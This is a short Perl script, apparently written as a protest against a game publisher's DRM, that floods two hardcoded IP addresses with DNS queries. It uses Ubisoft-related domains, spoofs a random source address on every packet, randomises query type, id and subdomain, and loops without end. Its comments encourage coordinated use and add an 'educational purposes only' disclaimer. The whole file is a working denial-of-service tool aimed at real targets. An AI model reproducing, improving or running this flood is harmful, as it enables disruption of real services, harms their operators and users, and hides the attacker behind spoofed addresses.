#!/usr/bin/perl
#
# fight the drm
#
# ensure outbound packets are not natted
#
# requires linux/bsd/osx
#
# coordinated use will see increased benefits
#
# spoofs src ip address on every request, randomizes type, domain and id on each call
#
# for educational purposes only

use Net::RawIP;
use Net::DNS::Packet;
use Thread qw(async);

my @suffix = ('.ubi.com', '.ubisoft.com', '.assassinscreed.com', '.splintercell.com');
my @rrtypes = ('A', 'NS', 'CNAME', 'SOA', 'NULL', 'HINFO', 'MX', 'TXT', 'AAAA', 'SRV', 'NSEC', 'SPF');
my $delay = 0.100;
my $volume = 1;

async { flood("216.98.52.5"); };
async { flood("216.98.52.6"); };

sub flood {
 my $port = '53';
 my $host = $_[0];

 while(1) {
  my $prefix = join'', map +(0..9,'a'..'z')[rand(36)], 1..rand(20)+2;
  my $domain = join('',$prefix,$suffix[rand @suffix]);
  my $rrtype = $rrtypes[rand @rrtypes];
  my $dns = Net::DNS::Packet->new($domain,$rrtype,"IN");

  $dns->header->id(int(rand(65000)));
  my $payload=$dns->data;

  my $source = join ".", map int rand 256, 1 .. 4;

  my $udp = new Net::RawIP({
   ip=>{saddr=>$source, daddr=>$host},
   udp=>{source=>$port, dest=>$port, data=>$payload}
   });

  $udp->send($delay,$volume);
 }
}
while(1){}